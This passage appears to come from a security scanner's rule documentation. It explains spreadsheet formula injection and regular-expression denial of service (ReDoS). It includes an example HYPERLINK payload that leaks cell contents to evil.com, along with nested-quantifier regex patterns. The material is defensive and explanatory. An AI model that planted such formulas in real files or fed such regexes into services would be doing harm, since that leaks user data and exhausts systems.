can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. ### ReDoS (CWE-1333) - **Regular Expression Denial of Service (ReDoS)** [HIGH]: Detects potentially catastrophic regular expressions that could lead to ReDoS attacks. ReDoS occurs when regular expressions with certain patterns cause exponential backtracking, leading to excessive CPU consumption. Evil regexes typically contain: 1. Nested quantifiers (e.g., (a+)+, (a*)*) 2. Alternation with overlapping patterns (e.g., (a|ab)*, (a|a)*) 3. Grouping with repetition where the group can match the same input in multiple ways 4. Complex patterns with overlapping possibilities that cause catastrophic backtracking When user input is matched against these patterns, an attacker can craft input that causes the regex engine to take exponential time, effectively causing a denial of service.